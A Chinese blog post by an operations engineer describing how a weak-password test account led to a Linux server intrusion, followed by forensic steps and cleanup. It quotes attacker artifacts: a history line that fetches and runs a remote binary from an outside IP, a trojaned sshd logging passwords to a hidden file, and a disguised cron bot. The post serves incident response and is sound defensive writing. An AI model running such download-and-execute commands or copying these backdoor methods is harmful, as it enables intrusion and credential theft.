通常伺服器安全問題在規模較小的公司常常被忽略，沒有負責安全的專員，尤其是遊戲行業，因為其普遍架構決定了遊戲服通常都是內網進行資料互動，一般埠不對外開放，也因此對安全問題不過於重視。接下來要說的，這是我人生第一次在Linux環境中被入侵的經歷，此前只有在Windows Server上有過多次入侵排查的經驗，不適用於Linux環境中，由於自己的經驗缺乏以及安全意識的薄弱，從而沒有及時對已被侵入的伺服器做隔離處理，導致擴散到較多的伺服器，在此斷指三根以示悔恨，哈哈，開玩笑的，在此總結下入侵排查過程以及後續事宜

一、事件回顧

    這次的伺服器被入侵是一個典型的弱密碼導致的入侵事件，由於某人員的疏忽，在某臺伺服器上新建了test使用者，且使用同名的弱密碼，以便於除錯工作所需的指令碼工具，就在當天在做指令碼除錯的時候發現了某些異常的錯誤，使用root使用者無法ssh遠端登陸其他伺服器，同時scp命令出現異常無法使用，但其他伺服器可以使用scp將檔案拷貝到該伺服器，之後將問題反饋給運維人員，由我們運維進行排查。

二、排查過程

    收到問題反饋，主要涉及ssh相關的問題後，我們運維對該伺服器進行排查，發現使用ssh -v中的openssl版本無法顯示，且輸出的幫助資訊與其他伺服器不一致，然後檢視ssh配置，發現配置檔案（ssh_config和sshd_config）檔案已更新，其內容被全部註釋，這時還沒有意識到被入侵，悲哀+1，起初以為同事對該伺服器做了升級了ssh版本，後來確認無升級之類的操作。

1、檢視ssh版本及相關資訊，openssl的版本顯示異常，與其他伺服器對比，幫助資訊顯示方式有所不同

2、檢視ssh程序及其相關檔案，ssh和sshd程序檔案已更新，ssh_config和sshd_config配置檔案已更新，配置檔案內容全部註釋，ssh_host_key和ssh_host_key.pub為新增的檔案，其他伺服器沒有這兩個檔案

3、繼續排查，將一臺正確的配置檔案覆蓋至該伺服器，重啟ssh服務後，使用ssh命令發現無法識別該配置檔案中的引數（到這裡其實應該發現ssh程序檔案已被篡改，使用md5sum做比對即可）

4、由於其他工作事務需要及時處理，排查這個事情就被擱置了，直至之後的YY討論問題拿出來詢問了下大神，才意識到有被入侵的可能

5、詢問操作過該伺服器的同事，此前正在除錯指令碼工具，新增了test使用者，得知其密碼為test

$ cat /etc/passwd | grep test
test:x:1005:1005::/home/test:/bin/bash

6、進行深入排查，使用chkrootkit -q檢視Linux系統是否存在後門，發現有異常。協同之前操作test使用者的同事，查詢history命令記錄，發現一條可疑命令

$ su - test
$ history
   50  wget http://71.39.255.125/~ake/perf;chmod +x perf; ./perf       # 非同事操作的可疑命令，在虛擬機器上測試，發現可以無需命令即可獲得root許可權
$ w                          # 無法檢視到當前登入使用者（請忽略我跳躍的思維）
$ cat /usr/include/netda.h   # 找到一個使用者登入就記錄其密碼的檔案（某大神找到的）
+user: bin +password: worlddomination
+user: test +password: [email protected]#$ds

7、在另外一臺伺服器上，發現某賬號家目錄下有個dead.letter檔案，用於將獲取到的資訊（系統資訊、IP地址、賬號密碼等）傳送至指定的郵箱

8、又在另外一臺伺服器上部署了一套可疑的程式，估計是作為肉雞功能

$ sudo crontab -e
* * * * * /usr/include/statistics/update >/dev/null 2>&1            
# 原有的cron任務已被清空，僅有該條可疑任務

9、找到/usr/include/statistics為主程式的目錄，其中update為主程式，通過autorun指令碼進行部署，執行crond偽裝成crond服務，使原crond服務隱藏且無法啟動，將cron覆蓋至原有crontab檔案來每分鐘執行update二進位制程式，mech.pid記錄偽裝的crond程式的PID

三、清理工作

1、緊急修復清理

將準備好的正常的ssh相關檔案上傳至被入侵伺服器的/tmp目錄下

1）檢視並修改屬性

$ sudo lsattr /usr/bin/ssh
-u--ia-------e- /usr/bin/ssh
$ sudo chattr  -ia /usr/bin/ssh        # 修改屬性以保證檔案可被覆蓋
$ sudo lsattr /usr/sbin/sshd
-u-----------e- /usr/sbin/sshd

2）恢復ssh和sshd

$ sudo cp /tmp/ssh /usr/bin/         # 將ssh程序檔案覆蓋恢復
$ sudo cp /tmp/*_config /etc/ssh/    # 將配置檔案覆蓋恢復
$ sudo rm /etc/ssh/ssh_host_key*    # 刪除新增的可疑檔案
$ sudo crontab -e                   # sshd無法覆蓋，使用cron方式解決
30 3 * * * pkill -9 sshd; cp /tmp/sshd /usr/sbin/; /etc/init.d/ssh restart

3）刪除多餘的檔案以及恢復crond

$ sudo rm /usr/include/netda.h
$ sudo kill -9 $(cat /usr/include/statistics/mech.pid)
$ [ -d /usr/include/statistics ] && sudo rm /usr/include/statistics
$ sudo /etc/init.d/cron restart

2、後續安全工作

1）修改所有涉及的伺服器的賬戶密碼，之後其他使用同類密碼的伺服器也需改掉

2）配置防火牆策略，只允許公司外網IP可ssh訪問伺服器

3）對於被入侵過的伺服器系統後期逐步重做系統，避免存在未清理的後門

寫在最後：

    此次的遭受攻擊，問題主要是運維安全意識較差，以及防火牆策略比較鬆散，為了便於遠端工作，像ssh埠未做限制，伺服器幾乎是裸奔的狀態。經過此番折騰，也對伺服器安全方面做了一次警示，需加強防禦工作，同時也瞭解到典型的ssh後門功能：其一是超級密碼隱身登陸；其二是記錄登陸的賬號密碼。後續還需制定一系列入侵檢測機制，以防再次出現入侵事故。